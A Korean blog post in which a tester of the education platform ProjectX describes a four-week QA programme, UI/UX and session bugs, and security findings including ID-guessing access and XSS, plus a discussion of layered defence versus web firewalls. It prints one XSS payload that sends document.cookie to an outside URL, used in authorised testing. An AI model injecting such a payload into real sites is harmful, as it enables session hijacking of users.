이노베이션 아카데미의 교육 플랫폼 'ProjectX'의 테스터로 참여하게 되었습니다. PBL 과제를 직접 해결해보고 플랫폼의 발전을 위해 사용성, 기술성, 시장성에 대한 피드백을 작성하는 것이 목적이었습니다. 멘토님들과 국내 기업들이 심혈을 기울여 제작하고 있는 만큼 문제의 퀄리티에 대한 기대와 함께 그에 일조하고 싶은 마음으로 신청했었습니다.
5개 분야(AI/검색/게임/웹서비스/앱서비스)별 7개씩의 문제가 오픈되었고, 저는 웹서비스 파트에서 servlet, JDBC 과제 파트를 맡게 되었습니다.
활동 계획
매 주 다음 활동은 비공개로 진행되었으며, 주 별로 정해진 목표에 따라 사전 과제 활동을 하고 금요일에 모여 진행했던 과제를 발표하는 식으로 QA 테스터 활동이 진행되었습니다.계획은 다음과 같았습니다.
-
1주: 자체 과제를 선택하고 학습을 통해 문제점 파악
(1) 학습활동 리뷰
(2) 테스터 활동
(3) 발표 & 동료팀 평가
(4) 활동결과물 제출 -
2주: 파악된 문제점에 대한 개선안 제시
(1) 지난 주 회고
(2) 지난 주 우리팀의 계획과 역할 발견 및 해석
(3) 개선안 제시
(4) 갤러리 활동- 일부는 다른팀의 발표를 듣기
- 일부는 우리 팀의 개선안을 발표
-
3주: 개선된 PBL 과제DB 만들기
(1) 팀 별 개선된 PBL 문제 발표
(2) BTSc 평가
(3) 최다 기여자 선정 -
4주: 다른 팀의 개선된 PBL 과제의 문제점 파악 및 개선하기
(1) 다른 팀의 개선된 PBL 문제점 발표
(2) 개선안 발표
(3) 활동 마무리
활동 요약
문제점 파악
처음에 교육플랫폼을 사용해보면서 사실 많이 놀랐습니다. 생각보다 UI/UX는 불편했고, 사용성에 대한 고려가 전혀 없는 것 같았습니다.플랫폼 퀄리티가 낫다보니 문제 또한 고운 시선으로 볼 수 없었던걸까요? 프로젝트 과제 또한 문제가 많다는 생각이 들었습니다.
- 불편한 UI/UX
-
반응형을 만들기에는 자금이 부족했던걸까? 해상도의 최적조건을 알려줍니다.
- 모바일 웹에서는 당연히 더욱 불편하다..
- 모바일 웹에서는 당연히 더욱 불편하다..
-
놀랍게도 '진행중인 학습과정', '진행중인 멘토링'등 해당 버튼은 클릭이 되지 않습니다.
- 불친절한 설명
- 과제를 제출하려면 git lab을 이용해야하는데, 이 사이트의 어디에도 자세한 설명이 없습니다.
- 사용자의 입장에서 파악해야하기에 물어보지 않고 스스로 찾아보려 했지만 4주가 지난 지금도 홈페이지에서 어디로 들어가야하는지 알지 못한다..
- 상태관리 에러
- 페이지 이동, 뒤로 가기 버튼을 누르면 상태가 사라집니다.
- 보통 목록을 불러오는 곳에서 이런 에러들이 나오는 듯 했습니다.
- 보통 목록을 불러오는 곳에서 이런 에러들이 나오는 듯 했습니다.
- 기준이 없는 세션관리
- 어떠한 알림도 없이 세션종료가 되어 평가중에도 가끔 터지는 경우가 있었습니다.
- 또한 로그아웃버튼이 없다..?
- 상상은 현실로 이루어진다.
- 마치 젤다의 전설의 물리엔진처럼 내가 생각하는 버그는 모조리 발생하였습니다.
- 이미 종료된 날짜로 모임 게시판이 생성이 생성된다던가
- 초대되지 않은 사용자가 모임에 들어갈 수 있었습니다.
- 치명적인 보안 취약점
- URL 파라미터 변조 공격
- 게시판의 넘버링이 encrypt되어 있지 않아 유추가 가능하였다. 1번 부터 쭉 생성되는 방식이어서 인가되지 않은 게시판, 삭제된 게시판 어디든 들어갈 수 있었습니다.
- 조금 더 뜯어보니 POST요청임에도 데이터를 body에 넣지 않고 쿼리파라미터로 관리하고 있는 기현상을 발견하였습니다.
- XSS 공격 가능
- 놀랍게도 XSS공격이 가능하였다.
- script로 alert를 띄워보니 공격이 되길래, 내 로컬에 apache 서버를 실행시키고 탈취한 값을 리다이렉션하도록 구성하였는데 쿠키 저장방식이 아닌지 해당 정보를 가져오진 못했다.
<script>document.location = ‘http://홈페이지/cookie?’+document.cookie</script>
개선안 제시
웹 애플리케이션 보안은 중요한 이슈였기에, XSS 공격과 같은 보안 취약점에 대한 인식과 대비가 필요하다고 생각하여 필터링 추가나 라이브러리 사용에 대한 건의를 하였습니다.
관리자께서는
실제 운영때는 인프라 레벨에서 웹방화벽 장비들이 들어갑니다. 이런 경우 소스나 웹서버 레벨에서 이중으로 처리해 두는 것에 대해선 어떻게 생각하시나요?
라는 의문을 제기하셨고 이에 대해 고민을 하게 되었습니다.
고민 끝에 웹 방화벽만을 의존하기보다는 웹 애플리케이션 내부에서도 다층적으로 보안을 구축하는 것의 중요성을 강조했고, 여러 보안 레이어를 겹쳐서 취약점을 최소화하는 접근 방식을 제안하였습니다.
관리자께서는
필터링 같은 건 지속적인 관제와 유지관리가 중요한데 개발 업무와 병행이 가능할까요?
라는 말씀과 더불어 보안은 변화하는 위협에 맞춰서 업데이트되고 개선되어야 하며, 이를 위해서는 보안팀과 개발팀의 협업 필요성과 보안 비용을 강조하셨습니다.
“가장 높은 보안 정책을 적용하면 안전하다?”
그렇지 않습니다.
네트워크 연결을 끊고 컴퓨터를 금고 안에 넣어 두면 완벽한 보안을 이룰 수 있습니다.
하지만 그렇게 둘 수 없으니 보안의 수준을 어느 정도 수준으로 갖출 것인지 정책을 결정하는 것입니다.
작은 규모의 비즈니스에서는 비용 대비 대안으로서의 보안 라이브러리 사용이 현실적이지만, 대규모 엔터프라이즈에서는 개발팀만으로는 모든 보안 취약점을 다루기 어렵고 비용에 따라 보안의 강도를 설정해야한다는 사실을 배울 수 있었습니다.
활동 성과
전반적인 에러 및 보안취약점을 보고한 것에 대해 좋게 봐주셔서 감사하게도 최다 버그 보고자로 선정이 되어 3등상을 탈 수 있었습니다.
secure coding 문서를 찾아보며 실제 서비스를 하나하나 테스트해볼 수 있는 좋은 경험이었습니다. 또한, 평소 프로젝트에서는 생각해보기 힘든 '엔터프라이즈 규모의 비용적인 측면'도 대응방식과 함께 고민해 볼 수 있어서 좋았습니다.
